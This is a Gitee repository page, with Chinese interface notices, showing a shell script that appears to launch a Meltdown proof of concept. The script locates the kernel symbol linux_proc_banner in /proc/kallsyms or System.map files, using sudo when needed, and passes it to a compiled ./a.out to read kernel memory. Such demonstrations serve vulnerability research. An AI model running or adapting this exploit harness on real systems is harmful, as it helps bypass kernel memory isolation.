代码拉取完成,页面将自动刷新
同步操作将从 idea4good/meltdown 强制同步,此操作会覆盖自 Fork 仓库以来所做的任何修改,且无法恢复!!!
确定后同步将在后台操作,完成时将刷新页面,请耐心等待。
#!/bin/sh
find_linux_proc_banner() {
$2 sed -n -re 's/^([0-9a-f]*[1-9a-f][0-9a-f]*) .* linux_proc_banner$/\1/p' $1
}
echo "looking for linux_proc_banner in /proc/kallsyms"
linux_proc_banner=$(find_linux_proc_banner /proc/kallsyms)
if test -z $linux_proc_banner; then
echo "protected. requires root"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /proc/kallsyms sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "not found. reading /boot/System.map-$(uname -r)"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /boot/System.map-$(uname -r) sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "not found. reading /lib/modules/$(uname -r)/build/System.map"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /lib/modules/$(uname -r)/build/System.map sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "not found. reading /boot/System.map"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /boot/System.map sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "can't find linux_proc_banner, unable to test at all"
exit 0
fi
if [ ! -e ./a.out ]; then
echo "'a.out' program not found, did you forgot to run 'make' ?"
exit 0
fi
./a.out $linux_proc_banner 0xd
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。